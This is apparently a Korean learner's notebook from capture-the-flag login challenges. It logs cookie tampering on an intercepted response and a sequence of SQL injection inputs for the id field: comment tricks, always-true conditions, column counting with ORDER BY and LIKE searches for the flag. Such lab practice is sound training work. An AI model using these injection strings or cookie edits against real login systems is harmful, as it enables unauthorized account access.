Login Bypass 5
- id: doldol pw: dol1234
response에서 Set-Cookie: loginUser = doldol이 보인다
- response를 탈취해서 loginUser를 normaltic5로 변경하겠다
Secret Login
- id: doldol pw: dol1234
-> login.php과 logout.php에서 302 응답 코드가 보인다. -> 다른 페이지로 이동시켜준다는 뜻
- id: doldol’ and ‘1’ =’1 pw: dol1234
-> sql injection이 가능하다 -> 괄호 X
- id: doldol’# pw: dol1234
-> 주석 처리 가능
- id: doldol’# pw: asdf
-> 식별과 인증 동시에 하는 듯 sql: select id, pw from table where id = ‘id’ and pw = ‘pw’
- id: ‘ or ‘1’ = ‘1’# pw: asdf
-> ‘ or ‘1’ = ‘1’#이렇게 하면 모든 row를 다 챙겨오는 데 하나 밖에 안 보여지다보니 가장 첫 번째 row만 보여지는 듯
- id: login_acc’ # pw: asdf -> X -> 왜 안 되지? -> 표시되는 게 아이디가 아니라 이름인 건가?
- id: login_acc’ or ‘1’ = ‘1’ # pw: asdf
- id: ‘ or ‘1’ = ‘1’ order by 1, 2, 3 # pw: asdf
-> 아이디, 패스워드, 사용자 이름이 있다고 가정하고 시작 … 하나씩 늘려보는 중 …
- id: ‘ or ‘1’ = ‘1’ order by 1, 2, 3, 4, 5, 6, 7 # pw: asdf -> x -> column이 6개인 걸 보면 표시되는 게 아이디가 아니라 이름일 가능성이 높네 -> admin의 row를 어떻게 가져올 수 있을까?
- SELECT [UserId], [Password] FROM [table] WHERE [UserId] = ‘’ AND [Password] = ‘’ column을 UserName일 것이라 추측해봄 id: ‘ or ‘1’ = ‘1’ AND UserName = ‘login_acc’ # pw: asdf -> X
- id: ‘ or ‘1’ = ‘1’ AND Username = ‘login_acc’ # pw: asdf -> X
- id: ‘ or ‘1’ = ‘1’ AND username = ‘login_acc’ # pw: asdf -> X
- id: ‘ or ‘1’ = ‘1’ AND user_name = ‘login_acc’ # pw: asdf -> X
- id: ‘ or ‘1’ = ‘1’ AND user-name = ‘login_acc’ # pw: asdf -> X
- id: ‘ or ‘1’ = ‘1’ AND name = ‘login_acc’ # pw: asdf
-> 표시되는 게 유저명인 게 확실해졌고 -> column이 name이라는 것도 확인했다 -> 그렇지만 admin은 아니라는 거 -> 혹시 name에 like를 집어넣으면? flag의 경우에는 {}가 들어가니까 이걸 검색하는 걸로
- SELECT * FROM [table] WHERE [UserId] = ‘’ or ‘1’ = ‘1’ AND name like ‘%}’ #[Password] = ‘’ id: ‘ or ‘1’ = ‘1’ and name like ‘%}’ # pw: asdf -> X -> 어딘가 문법이 틀렸나
- id: ‘ or name like ‘%}’ # pw: asdf -> x
- id: ‘ or name like ‘%a%’ # pw: asdf
- id: ‘ or name like ‘%e%’ # pw: asdf